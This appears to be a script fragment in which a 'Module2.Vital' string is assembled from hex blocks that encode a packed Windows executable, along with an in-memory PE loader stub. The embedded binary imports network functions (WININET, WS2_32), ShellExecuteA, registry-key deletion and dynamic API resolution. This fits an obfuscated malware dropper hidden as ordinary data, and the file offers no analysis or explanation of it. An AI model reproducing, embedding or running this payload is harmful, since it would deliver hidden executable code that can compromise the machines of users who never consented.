Module2.Vital += "6F00DF4C257C8AD12AD0DD88143E77DF78A13B57F17328A7F88A0C1E11463BF0DDDF15FA880C3A72EF42288AD02AD18A4DFF2546DE706D6B1403891195000F8253C3826BAA8A03AE4E40D116D1CD872F85C0B8750F296FF8810ADA849ABEE24C8D7D9C5A";
Module2.Vital += "A34E04A3FAEB377CFBAE7D8D341103CB4EB08D7003A7E6FC20ED6AC5F603438BFB3DDCF16166AB96BA2E2C390314B4AA054373106C6CE4027270FEE0F0A5AEAE55A36EFF26437CA8D8BEFE3B5DB40F875D0267B018CC33DDBFFCDD88E03BD1761E8D48EE";
Module2.Vital += "13010D28B800B1103B7F6902DD607B77E994834F8A024CD84F4A01B16EA3B403C09155C10B020819A2778569BA41C1F804252D5A0BDCA812913C862821946D825AD802E4B4D0607DD4B0F185ADC402392F163A0C3789E304807FEBB89A8A17473A118D71";
Module2.Vital += "D22664DBFE8A168A0F4610CA0DA4966407644288757E09934C32C9746A60564C32C9244C423832C924932E241A70E3FB4F108A0E46380F7509064F4F01466BECF8B29BF0E82BF24E8F75C4420C195AEB6FE4EC4DC0EBCE07ECB5B575A31F1EE483B70435";
Module2.Vital += "E442EB86B95A82F89A0373EF8C78E16F854E2DE080650EFE88C74285C9FCB72F6CA8741394D88D78FE05EC893C814083E00768D82234D78BE005D0E9EB355AED5FF945C08A55E880EA59DA53B9B7EE6F5E0480E1F00ACA660315880B43446E6E81C04D97";
Module2.Vital += "315B5374169DBBD0C85099E00096564DDF0E39FBD849890C8613DCD056D88934816E4007739D7DD16D54CC0FD5407D8C1366F7450EC1B90C876907427DC8BB6A5C2276FC1F8807C1E80843884701432A81C5581628E1C51306F4C660A9C0D6D681040A48";
Module2.Vital += "B8797E10906A7401CCF4FA75BF405C430459EB3951B94C85C116B81536A1D13D3F4DC8AE41CCDD60E758053BCBCE4B4B4438B824B62F8BC32B6A59A42060AB141C3ABD7A6AB36254B74833DBC872B1A23A820C0AB5833C633B035610885618109001E259";
Module2.Vital += "C269F4E8101514A29CFC5908B68D6138C0E4EAF07960F69D4732E41B8A7803CC5A0417131DFDB66ED58699563B4E2A2160570CDEC44753568CE46A1051F50B518F6AD0C21BD868B66354EDEB131D45501C786E9213141A0A1B36AB2515A7EEAF2FD4E8CF";
Module2.Vital += "BA433C837CCD64441818524777D00F8CD48378643D9E5DF1858D2ABE60721003C366ED6D21A009DFB7102B481013DA6DEBE61C8B5585D2742D145804880B9C02B6A6CC0C2F48C3B70BB70B777020947824A203FB367E46FEADED58B08B0E330C7B8BDA8A";
Module2.Vital += "1B84DB74AD7FAB052819B38A5A014241EBF1022EC005B60902124E7415DC4747BB2D0186A69D3B4A7CC97FEA9CDB9A3B740F3E438C5555B7A8174B3B5018D879FF0162453DAD89C41D14E5E041AF6C06686280558F4A01E0459C410F508B1667ABC969FC";
Module2.Vital += "1F2C3A453042D40134BB0351A4C057E7D322F6998553D852D60F51C99ADABC5F2257110607D94A3F0FF06A25D5D90851B3301B5F0CB92144BD30180C23FB245F56A074496AA127655F5BD86ADB4857339C5B26396C0B9C0070F01438465B4ADD2626F03B";
Module2.Vital += "0A86722BF9871A1342F06641C4DEA0CC6250CDFE1375166A77529B601851C353AC6D42C4A38AA6733462317E0D6056AB0B8BC424A204EA21D40A78D5AFFC90FACDDFFA2C6CBC7DC01FC88A45148845AAAE8860549F858C30A48830A2AA60EF149BAA8B84";
Module2.Vital += "95A524664341431A8AFA8BB2A760214080CABC4B104BBB566DFFB125A81231200ABC86ECC58B45D61E64BA200D929B34531053268E6427264058F279EC8D50BD1C4877908025892AD696D6C44B618DCFA0D74DADABF501A6A882456CC026A2F52C809175";
Module2.Vital += "9CF8D7338BEA13342002B67D75DFE1544231CD754AB1BCD9CC851C294A3C2218D601850D9244CC30FBC0184BC525B18CA2247D8DB985F215B5F08A21653B54ED8699970F8DA6003C5DC48746E49802E84BB9F32C91F60D1E34F1CF5809700E7522BCF02D";
Module2.Vital += "83C82CCAA83B308866E2093217AC19A023A4310312885808D4FF230FA168BE716CE0FCECA586507C3FFC693D456576106902C059B90AF676531F6AC6C3EC5630746677B50DD606C2EC2B9D1872517E1487CDA851C4AAA0C9682246D60822135F58611817";
Module2.Vital += "429601C6F01DC76540B40712ACC48BEC025C2721280CDC0B1FF50218D0B7A90C5C72C96515C808BC72C9259704B0006391935CA4A8FC86A82EE09D85F896A06E6E8F7841959360498C2B301CAC84565BB02550AD1E138C0BA3409B94089005D614A9744F";
Module2.Vital += "855A181376175E18D723C2F188AD2EA891820E0E53295BD55A81216CFB5EB101179E4178A85753B1C7104EF297D92152DA0D20500D1C92CB9E116F102415144B2EB9E4200C182EB9E4920814041C3B15CC0848D63ADEB1289A907C393D3266B73BD10BAE";
Module2.Vital += "328654048586C45E85CD758F7701C918DE64E4C8253E575757570CB300865D729096120EB18506CA13E10061626623CA4C209F0B574C025E1470025B7BEB585718148580D58F3274001A790C024002C5D8527BE20AD5AA0DF400E702137F00106E0DF0EE";
Module2.Vital += "868884052064F40D33C977E1820DC314A6928A14103778A1F74088940D30ECCE72E65F14B87D8BF7A9FFEA943D3146148A8C3DD45B1CFB1D8DB41003DA9023C847B1CF6EBB6B14812601279C0D8D8C069B2BB1FD881E881172C471390548021045DCA2C5";
Module2.Vital += "767883E0E180CA989BBD274723F8542C4A8A50E06CDF5D23D88BF34335955E6AAC6DD419660B88FB0903CA7BD605D168C58A5B7511AEB75AC854DE44F21802555C3B9BFB1832D1EB0FBF10080D12B7B8B5850610376F103BF67291FA852242B9154C240C";
Module2.Vital += "76135AA3ED0ED58A54242AC175E63E0A00EC1272ED19394CA31300F80424F778B7350CA8360DAC1F008301AB0CB2FC688891680DF68D02F8274418006D7B6AB59F8EA00825ACF7D0231E199209AC7A360C093F160D362D18B58B4E3C03CE55F843D58B81";
Module2.Vital += "9F493403C63BE87F892ECF58046B698D4BF88D5008D1E9A8D0635BC3FC55F88606F11BFE6FE0668B128BFA6681E700F0669430752981E2FF106F7453907DE803A37432FEAD95F8CD4F26EA2B55F43BC660243613AE6E18C705F59B4583DA6DE3DF9E0239";
Module2.Vital += "4DF872B7037098AEEE2B991097940B90DB2400B0518B162630F6183BE56EB66A0BD0EFBA203DB5D5B3DE9F7812D84253ABAAF0AC1E176A48D74CDC0CDF66DCA553228C0B258DE89B7FEC78551E08B93E0FB785FA2BC860652E50FAFCFEADA20D2362BC5B";
Module2.Vital += "FB541FA3CE83C0185066D6A3644A41B6D81A133193F417DEFF15245E740C833D1E1D03B001C332C0FC88989C2F184B806526748A2827FA84133D1BA8ED9100513EF63706D1E892F818907B5910E20C1C755983B764B8570C56237B46C39A1D33DB16FEF7";
Module2.Vital += "3E12638FE5083E805CC93606A23E45FC508F80D681FB650A1A39053FC772DCF87C4EE2473C9F383420F6F04A51F3722D4FC81FBE0197888076182103C78B10F76F6DD86A04C00355A31183C1044B75ED5C024A777603F0565AF0A1FE66935051496EE413";
Module2.Vital += "AC50B0F8E6A4213113E04EC0C576AD53741BF06046F1E5BF4000D782DF013DA17727268C6B826617B01C08649D112382123FB609530FB75959C645FD79E2D42C1201F314B4673482EC5984248A23B50C78515A2A300B157E380807253383403120448F8B";
Module2.Vital += "BF508403F987F05756A080C7066CD784324D901727B323E70144588016729287B0ECE0FE083408AEB4B15F64D686417594536F6604A1C5362B1803EB537E63872EBA9F88990DBE0A2BC6B5D802948C09E4110CEFB52D0768E2E0023C305B10BAF72BFE8D";
Module2.Vital += "872723F8F2108477B5C53E2BDE0FC0243D743839F766866E35747B433A4B6DB6AB8F323A0CEBC37D81C394C67EC23B8DB0068883C30456A5B7141B7BDE1FE881C7054B571498B5AA0A07C60B96144023B98E2008151F9D0B5BF96321C90EA9B823F6572D";
Module2.Vital += "1D8C287348F0BF3B0D61562042348318B5507401B00E282559520D4CF7F28415EC23047CD82C2AA708706AF06BC0189C74CF58632F4597413598E962C3C626B16F6C1E2E32975AC182383C85856BA8D98537FA531A43F804B4AC9DE7F6F242A12BDA1A4C";
Module2.Vital += "6378F66F201384740F104F6C47D7D50E4D1E0DD0EB3D6C06D8542B9635EC4690FD9E4C849CEB5DCB753F68BCF52E6608A050EF207418DD13A8CB9602532A8CF26C03D8828C482E922A1B90CD4D068444171213C4371970ED75E11603D8B9E917AC300BFB";
Module2.Vital += "827B04385401487545A13167615608FE700183FE1F7ED946BBB915D4B43DFE637ECA47F2A255A259162B10F50EC65794FE281189353F9085A7A255CA645DEBED19C4F25501DEDEAC700B856B9C99D24589575FE225BEDF81C37E0D80840D127B91C87CF3";
Module2.Vital += "207CA80D7253C774512D602DEA84F96469086AE1F6828A22401F6E861ED563F0CB137C8D833D5D600AE6013096640C36E45300A448DC44926FF25DD82D532AEC0D246B40C47678012C19800A46B80CE86597820CB886729245246009ADFA573BAC75637C";
Module2.Vital += "53556A07E260347E530BD87FB066647217688BE885ED740D5533064181D274E2E1C06A062C756CB656DD0A1C0637C3404003F06BEEC88613695693D007A6CF07BF5AB3B30043703DE70994685CC01081567AFE6E5D5BC24B08960C02149F9EA6F83660FF";
Module2.Vital += "0256745C86025A9A7D19E0264C02A06A0E915C41A7B4BEF9193B84870C2CE06848057C2ABC471B78196C580CE27F9B6D1B99DC5BE3C1E810663DFF7F7625EC8D9DB566368930A33B6B50C2BEF7881D3935C38367EFB042DA865784C10CFB0BDFD58A0F88";
Module2.Vital += "32D23ACB7C0CF90C7F028AD306A86F9C6F0E0B1F587C083AD3B8D10771741268F37505EFC7DFDFDF08757A83F81109127470960D6A0CFB7869E4087463698981FEA07D53072F40B767A14B1C1074F31174417BB6076C11A4F907A53143E0D99EED2C0CA2";
Module2.Vital += "2407A31C10027709A468FE0961201A6BD5D5E968BCC49778D615C3C6077BC65E7D80604856CC5A88185EDBCF06601B2D857183E8786258046CEF2DF602720B05B8AD517B076DDA1EF0C43CEBB85488EB57645826680DBAD88E0D7EEB190997AA241A3D19";
Module2.Vital += "D0814108998BD8080FC6299F58EB1F96745CA0BD877D1CEB0E0A18A318BD4953F022FB5E1035C611F85683CEFF086E014F6FAC207FBDC9543B354C7442462E916C010F6A15F4F0E06C19A1A650BB1D500E12D187D1EBAD01EBA39845C031536E00E48C6A";
Module2.Vital += "F982087C53890444169AFC73FFA419C75EB1936D015043C94C435FC1581700104867409E484028CC01DEAF74208812830DCF3C8A0FF160AB92C79A8B723146308734687AD511649A870DF8F8B851268EBF02285D489D2FB5B1E0019AD7C25CA63072D9EA";
Module2.Vital += "810EFC843098EDF2CD10A73588C7458C99E509B66559B69002949CA0A418A83AC27259AC0E34B0302453A4A09B9D5F000AAC5A0FFE4660407B50634C7422EF2E242CC5306AB1B46911A20688095DD4D4CC19A2132444010E0DDE469FEC48094C837DD860";
Module2.Vital += "D56FEC828ECDC3C1EBC41EAC4C36191B8B0B5C82207D1C8F44722C2C3361F48C37F675186A406F013A4BA03DA0940F54C958ACB1186328D30A580AC6867548E9346DF13C114D195A0008E9654BBA127D1735AD2CEBF842150A6F6687BEB5F9DCDB2FFD10";
Module2.Vital += "33D28A5044080FB6700403D2EB0B12D40FBF8937308B500481F9B4753757439D4DB171803800FE96301F58E0C1E218527098398214382899C346A10894628C15B6001327310C116DA69E2227A98BAC4CA064DD4D968A19120A07832511C111FB1400C31B";
Module2.Vital += "EC26E7CB9A2AA279192506891D4D007F1278751C536A066A037817460137A31D5B820D4621700E8A03A20A877F8BD770371C05530F97C0A207F02CDF4605200769246A4D1DE1F714DB3B50385D751FB00193A5B168736C360D1C4B3C6CC89B0EE11A38DD";
Module2.Vital += "752DAC15B615040C771AE9F86B51B85B088A55C48155880D9EC15ABC85D3BE480457C45C49ABBDCD8D9D440CD8B47C8C5552D210A164180E114086A2E49A3457C4D38CD8D32050FC2D18D0103421BA20A40127388204B12130087A00F06108045B5D59C0";
Module2.Vital += "CE4E02547C6978138C396219802551056CBFA3C98E70CC00B819A0FC803800BAEF0AED37807401C3807887E21074FBEBF25D0D5083FE0DE0502DA2BCC5B6FB232BC08BFA8CA1E8ED30C2206A0D8D7F6B445611648B48308CDAF6DBF8B7FFFF7574BA6C02";
Module2.Vital += "FE7F8A2280FC048A420472050705760466B83303BFB1DD1665100601012C51B4421C8B580809BE257674A2A88FAB07BE1564AC80BBAB74050B4C11D644978CBCA44CEAA5DB26B65F6E018406AB8EA1D0580A6FF45FA884DBF7BF80FA60BA4B45DB7302B0";
Module2.Vital += "43BFF1E003399307B33C5A740A81F23315FF3728B05AEBEA2BDBEB288B9328AD005AF47F0375F13BD376ED518D8BCE89DF82DFD45973E18BEAA412833A0675A329021C6CC3B251ABC528CD3D4870C1AB0C6A4758BAC89667BBC06803DC4704076C0C5881";
Module2.Vital += "17085E8D4F202D385FF66CB6DFD87883ED08A4300373038B47201F241B3BFBFEDE3DABAFD30706FBDAF74BFF268A9B258DAB9F72153BC573112DF17D4D757F645F59E8DEFE57663A092DFEDDAD262572311F2D6A485983C0553917CB6569B60E060E0758";
Module2.Vital += "751519C456D8E28A48FB63E82704CCE05647BF750340FCEB2A7A4F6DB9003CDD618DE74F1613BD10FF100A9702DB60A605AB648F05A1C5A11F855958A4316742F1E8BF9FBC8B54240C81C2B8D37BDE8A78D7C7C1A1D4894263C381386D05D72719750DA3";
Module2.Vital += "837C0A46B7FDB604CC48484975E7C3910A84C33FE837D888197A983C8B7C137C6FD56D8B006F4B137866678BF2BFE37FF803FE03D33D9F73052B4210EB3F6B958B4A188B725F68D5FF2003F352E3198B062BFF3E58498A14076D72DBFF3A142F75EC4784";
Module2.Vital += "D275F3AC5A9924252BF1B76ADF2B422441F7D922C404488BCB034A75DF8A6FE614818B0246043BC7723AEB6F54F0CDDB2DC352746C4A746174AD40C1FF7573546F446F73457272B91251C1430564614C15B490781714D0AAE0C8134FF72A702754CB5204";
Module2.Vital += "2B549010C9211BF80E0A3E41666600794D61736B3F33D070603B02F9094A0CE30233F0E0DDFFE10BA484C2140DFA0D12F0A1E89D0555149A936E6DFD0FF740200809304681CAF1EEA982C118522634C9385CE92B41ED3587A142ED08DDAE978B013F0949";
Module2.Vital += "723CEF80ADC9A652A6A3D94710075B1523B6455168A10FC1D55230E15A7807D861B0FF9E514E91EBF56A5758EBF064B0C92BA3B4C914699621B910210C0D7642170E15ED7916E152C499EBCF321410EB05B9E7F6CB1AB5DECEEBADF6451587F8E5EC7537";
Module2.Vital += "557521D952B9B710AB297B6FAF06B0013BAE6A8BADB76D6C515AACFEC39C04E3EEFD6CB745E9D18BC8F5F2DACA085278BAFA46EEA843002BC981FA387F6F02DAB7BB413074340BEA91732B386C9778EB430274ACEA02423903524D73A9E3854BE4531022";
Module2.Vital += "0351444FC82320B474B6C9501418195BECFE3668EEC4FC5F181D5A4B384B0249BDC197F94A8910889D4304500E78986D7800B814675051CB536FAEB56F830F9445FF587D3C353C5130505D0A0A757BE82D240342DBDBFFB6714D424B0489088039075873";
Module2.Vital += "434104FFD2EBCE4A6DDB08660802034A5D8658182C140DEE1C0F64E1040C210BB4A3C7B34B061C0CAFE4574CC2D6BDABB47DE454579E6A45AB31AAF102868ACB57AB390BB1D0E805C9D0E0084E6E18E6223A4A4E2008EB522E19EC6172F459281C2F5147";
Module2.Vital += "120988DA47E30F83B48F51C0390C19FF71088F3F1B6681651A42E61E101D0B823416E6F7DA466B6B6DB2BA492B51E0B0EED8A27B5250244EE4503D428B0A116ED8DA0C794141387935505EF80B140E4440D24B20E323807B50B034D0A074C0405C449B28";
Module2.Vital += "52018BD44D2D57E0D04281DD3B9C97F812042D10B010847E7404E12C94A208508D2C9334BC203C532453155959E92E34558DE327455A595A149B7BA1C28A0C020877E420FBC209C89EA70389018BD3DA8825DAEEF72F0FF65A0509C846E32C3F0023E41C";
Module2.Vital += "DBFF4FC603A6EC0D0A456C69525420312E30310B43FADBFEFF6F7079726967687420284329203230132C0533205277DFBEDD46696D67696368612590568BF13EA820F612B4084C88E54384A31435597D843B102FF9CF01BC513DE1EBBF1B2870087207B9";
Module2.Vital += "B79E2D108501D86E456317731E8BC40C8B415D3034ED2943C3CC6A964C6CCE6450E6500CB9AD29D72F4EFA6C0A8D03F0B564CC1F5FC00C8BDADCA2D6490B47B77509F7E19CFD776B9153058BD81DF76424140309E1B218730BDD5B1A43D06FE0D06C77A8";
Module2.Vital += "7897A77C0F0A18B028E8FB507704963CB2286FA84032D8D9FF0F6020059319020B9823A8CB96CD064B074F92A7EC6453C0000012F800910CA808009014415AA2AE0A144C5C004C1628BC0128064523570123FFCAF6A2781A530954696D65F64F00680C35";
Module2.Vital += "33324E6578740E7E58DB0221723D38546F6F6CFBB78D8A6A7016536E617073686F19F79254911B6B08E0DA27FB53697A655D506F696E1F7AB76EDB00A54D750A78796C52726396051BF66D706941586E1A6F2450E409F61345134245860151F406162A1D";
Module2.Vital += "B2B67D27214565540B6D7C5D86248ADE20850109B7DB1001DA53797A656D0DED12DAB20B172352FA8081C56EAC7365C54C946C760C604964E45AB76C73555D98653F31B310F6325841731859B06C56447EF7625D2B8CB4741CED1773E08A82E0A8A7CBE1";
Module2.Vital += "B5B78C6BA78D0A5D0B14150E44C34C6FCDA2680823546C60B3901580143C4A0218C2B35AC2E7CE5E35FA537D35450B305094B0172A5C0915C54E6201366BBB91627375EE3A0DB225A9A2223E61CEBD6DDB463453B8670F4F626A2FF28B5491FB75706C69";
Module2.Vital += "63A182502E8064230F32703B7708204387336C5320F7C0DCE726726D66F5496E227829733421C32C496DDB66C16DE41D6BE275E37B50D41E46834F0A9611EC3444BB60E92DC135AC4CF4275D41A868D828A7325114EC5479700EA404303A800641B950D1";
Module2.Vital += "777A6DDB5365672805C395FFA0420FDAE9BD8DFB61B5D1809BC2DCD6DEAB656444CA436D4515952D4C72496E4C7A76F85451CADE452B157A24A4800F8A9CC6B2F776FF36644F66DDAAE0C3DE6D0B31620B556E7E0DECCDB6B14C0B487F705032EBA209B3";
Module2.Vital += "17141ACB19872BA9C4017C0976D9EC36530465702721534F6DB0284A7550AB00EAE54C5EDA1AAC2D5648D089086E93AC36AC346A09538902AAA130061379A40381778A5F6953B111ABBA8D330021E1EF4D78F675679B4B652C10C0200015730F0C5CA868";
Module2.Vital += "60BD1C548A1AED70706B07FD15BD3784542AB19BF11208944FFD2772C9DA0DBB55735B1EDA80992A358A5125B3E79615C47F11822049B3D36CC52E30548ED2C198AC6A43C94942195B21C2B7D17254616290051363332C73EE68426C28DB0E731EA3852C";
Module2.Vital += "D63F49416908159D251143E2F6BD616D657D096E65EDD96C0EDA6320939F38B801E16F0D9A2B7B055F5F43787846E8389E61C2D99B11150C675B6B01CF3470625FD9B6CD1C94F9790A70760849143DC6666D3F3F3199AD83BF7F55414540585A246E7072";
Module2.Vital += "DA660A66941E4D9561D570B89EE3B9F63EDC67523708E6DCECCD1059630802AC0C413DCD43F853C2034F8ED68FF12B3D4892D56EB9B675638AF96C64B609CF668B08304F0402480185D3748696165B0CFDA9D0B5065834F74D0CA0027788052125087A63";
Module2.Vital += "12066A9C6F697062287CB85DB372642565771543681F92A14BD62F160E6917A4030B28C7686C6FA4C7EB1811697312F9ED0C0F1236233E0E1FB361070734807454D671A1731520505D6B4DD46175842D6BB1413E0D61DE9B25838B625D4D82B9DBCB2D54";
Module2.Vital += "72BA736C2012B282A3391D3D2B742362A7D9C22D663E4A0F46EB661B806F79138C6F0EF726B464A5CD41C9DF119884074073154657D969C6C241761B6CD9191DD636592C960D44286198610B0B0B21A37076572825898ED27C6A76167B307E426F78771B";
Module2.Vital += "56CC566C088FF542486AE09645E3796F2A1E988494B5AD32CF752F5A6E7B04E114E4A36E06C901765828533D537B50DA0D6B77645F152587F038180350566B5C86B5D62C1A6E6D47F12AB684091C57818AD750E6591AAB66020B7B0806854E410EB20858";
Module2.Vital += "81558511DB584260D811F9147606506EA14365A2B26D9A6D6B72D0FF0B0209CBB22CCB0304170610122BCBB22C136F3473B9FFFFFF5800F05403F0580C18040418141004220A300606180B073311FFF6FFFF2E252A11080A1D24080607140605170A2008";
Module2.Vital += "0E06170B172211201415FFDFFEFF1A0E221F431F380C1507424F15480D290E18412948130B1C140E2714B7FFB7FF5B1D150F2919050C0A020529181B1E0A0A0D07052D0A161BEF6E6DFB1907070A234D0918100D0B001D23271D6EDBEDED29131B501B0C";
Module2.Vital += "0C5E0907141219190EDB03F6DF031B290A1510100E10000D0F0A3815B7FFFFFF05110530150A0C12051D0B091124140A1A0737091812092A05340811EDFFDFDA140715B2152723071B271A1725120D081B251AB9B7FD63EE100C1E8A0213180718290B20";
Module2.Vital += "0A109F61ED6F3705090B550C1C0D0E0C190910B5DDD6DA118A0E090B100813A8FBEFC2EE016E0D13031711001019361128ADB65FB67D162B311D4E250A20110D354C0EFDDBADD03E0B700917020C0F360C4A474F6DDBF6B62216501011270E0DAE26591B";
Module2.Vital += "175EF8BF423514341A0B32232B2A2A6A2E151D525F26FF5DB7F01206310F540CA41B871106210C1D12310C227BFBFFB7262C120B13330C300C490E0E15112C2012E34E0406280B85B77F0A170B2D131CA26A161809A19B31FFFFF7FF6636290D293B0A2C";
Module2.Vital += "0512240D10122367180F3413141443361D200709DFFE2FFC1307170D1A20C03E1708171208390A0712720B0C2926ACB56DE11A18283D23E705EB0E00976D170613F3071572070F0C786BDF2608101B06082E0C0C434A6B2F145EAD11092E119019061442";
Module2.Vital += "660E76605B34060207000E0A1BEEB8D00C131619112C111A210A1FD0D8350A5F0A560B1A5FD6BA77A1F05D05233B0B062A9BF6BFFBB7022E091F13310B2720280F09F028010A3A06491B35B6C28D5D06158AF31278DDDAD6BDFF0A4712101AC608EF820D";
Module2.Vital += "17B1C28DD680262EC42018690276BCADB905919E2B130437111716B6EDD60885080B99251214DF09B6FDD61A270B030105590E0F267B0C17C3C28D85CC1B7B0F143D0B31639BC135271B4A19090207B5F2ED9D06000727280512C9B7C28DBF5824192336";
Module2.Vital += "1B42D43D0D0CB10616DCEDFF6F270F3D07192F1D4C171D0638302326541631D4B51D25E70030086C0D192D1A8D5BF7110D4D1EC2061B2BD75DA9F4DF001D1426372A08072E652344094ADF6D7C3236AF0A002E0E26101A23BFFCFF375B71073A2A112423";
Module2.Vital += "38110D264C28179F0D34084715161BDFB5FF0613081A331F641E072410121A1D134FF60CB7ED4BFF1A2956320716231C910A081006FC9C252119D65EF8861A7F2209092912B24622075101FE76E3FF4E1647075323314165052B31141E0D52221C1610ED";
Module2.Vital += "B7B7175F0D2317801C2053031C115D0D0C8FB9E0286C060A27D5371E312815BA42D5A3128E3946A17D5B97115F07132B2F22E325195A2BDD09DB0919CB634BBBAEDD030F0B2386CE1325061AD9982B350EA50EA985339097366E1B6D1D2DED164D0818D5";
Module2.Vital += "0E1C6F6FDB15232811F909131321D9C3DD8619B151E607204806BDDDEE9A3F48211C0C950F16FD0C270996DCB6B50A1CAB075E211B831FD6BAE337E20835082D08C30A340FCE5AD6B0F1C617160C2A323C1ABA0EFD72380AB74C0F259C6E0DB5D6B0D52A";
Module2.Vital += "741A8B2C0D104AB756CBA58301890632126CE7B0E67DBD0D0A1B0692818E77806133582AA4160D765BAD34D9330C4947A9E1142814B6B72FBB0E3532D11FDCBCF46F4BDF6936072432C428CE3F4931183116240BBFF5B6E61E0B326D0DB51C212984684F";
Module2.Vital += "25B7DEDA1D6B08610FC95D111DD824F0E34BAE40E902392E9E829A980B98367EE1F0F500BF160564072D564E22D01A2F6CFA1EA422212425C4C656602B86F11A19CF1CFAD78DD685361210A32F301E8252A3D14009620F56D166ADA914B0021D2F09C0A5";
Module2.Vital += "64D76E1C1C1207231C0BD95A5B28A28405005D281BA5BFE3DBFDF0520105FF3137BB184F070F45F5B6155A2D0EF9929D63102BBBF0ADB10B1DB2CAF0F8002D530B1552E90B055A1074222016122049B653815B05151C9A2DCB07A95470ECB80D2FD40A16";
Module2.Vital += "A4688682691DE8A7BFD9C9B05058F62C86C40E7D7846E9FF573612172F190D5308193A0739B88656A181971D1F6C5AFAD45A0BC618333F830F085A70DD68680DCD0916A67D1978BB5EDB50151169D70D0A453777A1D47633976D0FD413090C36B7512E19";
Module2.Vital += "0576080829176B35B799D84D0A2F1C3FB56FBBE3710F07CECF1D0946A70601C0FFFFDD6E4711276B29F0760129524A5B1E7763F090016C60440B54DFB58C2043301400504523010723F8126B0BDD7347ABE000DDB366FB0E210B01060CBE121366420410";
Module2.Vital += "28F8227709D000000B023EE966C969070CF0BA1901C90676F61E34100706480A966303B4BCC84576AB901FD00000AC0E6408036E2FB8C21E2EED00CEBCC3857DC190EB0423200AC8E6AA502E0F29FB2AB65C48771227C2404229006F2EB71084C047EB7E";
Module2.Vital += "F200000000000000008004FF807C2408010F858601000060BE00C000108DBE0050FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8";
Module2.Vital += "03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A024288074749";
Module2.Vital += "75F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9B60100008A07472CE83C0177F7803F0175F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70589D8E2D98DBE00E000008B0709C074458B5F048D8430";
Module2.Vital += "0010010001F35083C708FF96C8100100958A074708C074DC89F979070FB707475047B95748F2AE55FF96CC10010009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE224";
Module2.Vital += "0FC1E010668B0783C702EBE261E9C023FFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014210100C820010000000000000000000000000021210100";
Module2.Vital += "D42001000000000000000000000000002E210100DC20010000000000000000000000000038210100E420010000000000000000000000000043210100EC2001000000000000000000000000004F210100F42001000000000000000000000000005B210100";
Module2.Vital += "FC2001000000000000000000000000006621010004210100000000000000000000000000722101000C21010000000000000000000000000000000000000000007C2101008A210100000000009A21010000000000A821010000000000B221010000000000";
Module2.Vital += "B821010000000000C821010000000000D621010000000000E02101000000000074000080000000004B45524E454C33322E444C4C0041445641504933322E646C6C0047444933322E646C6C004D53564352542E646C6C005348454C4C33322E646C6C0053";
Module2.Vital += "484C574150492E646C6C005553455233322E646C6C0057494E494E45542E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F63416464726573730000526567436C6F73654B657900000044656C65746544430000";
Module2.Vital += "61746F6900005368656C6C4578656375746541000000534844656C6574654B6579410000546F4173636969000000496E7465726E65744F70656E4100001001000C0000001D3D000000000000558BEC83EC2C535657E80000000059894DE4EB4256697274";
Module2.Vital += "75616C416C6C6F63004B65726E656C33322E646C6C005669727475616C46726565004C6F61644C69627261727941005669727475616C50726F74656374008B75E48B5D088D461350FF53148BF88D46065057FF53188945F48D46205057FF53188945E48D";
Module2.Vital += "462C5057FF531883C6398945E05657FF53188945D48B03BF003000006A408B483C578D34018975F00FB746068B4E508945EC8B46345150894DF8FF55F485C089450875156A4057FF75F850FF55F485C08945080F84710200008B4E548B338B7D088BC1C1";
Module2.Vital += "E902F3A58BC883E103F3A48B038B483C8D8401F80000008B4DEC85C98945F47E30894DF48B48108B780C8B7014037D080333894DDC8BD1897DD8C1E902F3A58BCA83C02883E103FF4DF4F3A475D68945F48B7DF0837F74100F8CF801000083BF84000000";
Module2.Vital += "000F84AD0000008BB780000000037508837E0C000F849A0000008B7D08037E0C57FF531485C08945F8750F57FF55E085C08945F80F84B80100008B45F88B4D088B7E108946088B0603F985C08D1408C74604301784158955FC7503897DFC8B45FC8B0085";
Module2.Vital += "C0743AEB038B4D08A90000008074088B45FC0FB700EB0503C183C00250FF75F8FF531885C00F84630100008345FC0489078B45FC83C7048B0085C075C883C614837E0C000F856CFFFFFF8B7DF08B45F48B4B0C85C975038B4D082B4F3485C9894DFC0F84";
Module2.Vital += "C400000083BFA4000000000F84B70000008B8FA0000000034D088339000F84A50000008B51048365F80083EA088D7108D1EA85D20F8E86000000668B3E8BC781E700F0000025FF0F000003010345086685FF745C6681FF0010750B8B7DFCC1EF10660138";
Module2.Vital += "EB4A6681FF00207506668B7DFCEBEE6681FF003075078B7DFC0138EB2F6681FF00400F859E0000000FB73883C6028975E00FB736C1E7100BFE8B75FC8DB43700800000C1EE106689308B75E04646FF45F83955F87C808B45F48B7DF0034904E952FFFFFF";
Module2.Vital += "8B4DEC85C97E2A8D7024894DECF64603046A08587405B8080200008D4DE85150FF75DCFF75D8FF55D483C628FF4DEC75DC8B47288B550803C2807B100175158B4B0485C97406899144010000FF73046A0152FFD0837B0400751C8B4508894308EB1F6800";
Module2.Vital += "8000006A00FF7508FF55E483230033C0EB0E68008000006A0053FF55E46A01585F5E5BC9C20400004765744D6F64756C6548616E646C65410000000047657450726F634164647265737300006B65726E656C33322E646C6C0000558BEC81EC840F000056";
Module2.Vital += "5715F4E70E99260FAFFEC1D1A485DAFFC1C7C154C76E790FBAE0178BCF13CDC7C19407AEB93AC613CDC1D144FFC1F7C36497FEC984D58BCDC1D1140FB7FDC7C134274ED90FC0C33EEB01E413CD6A036A006A006AE5FF152410400085C00F854E0200008B";
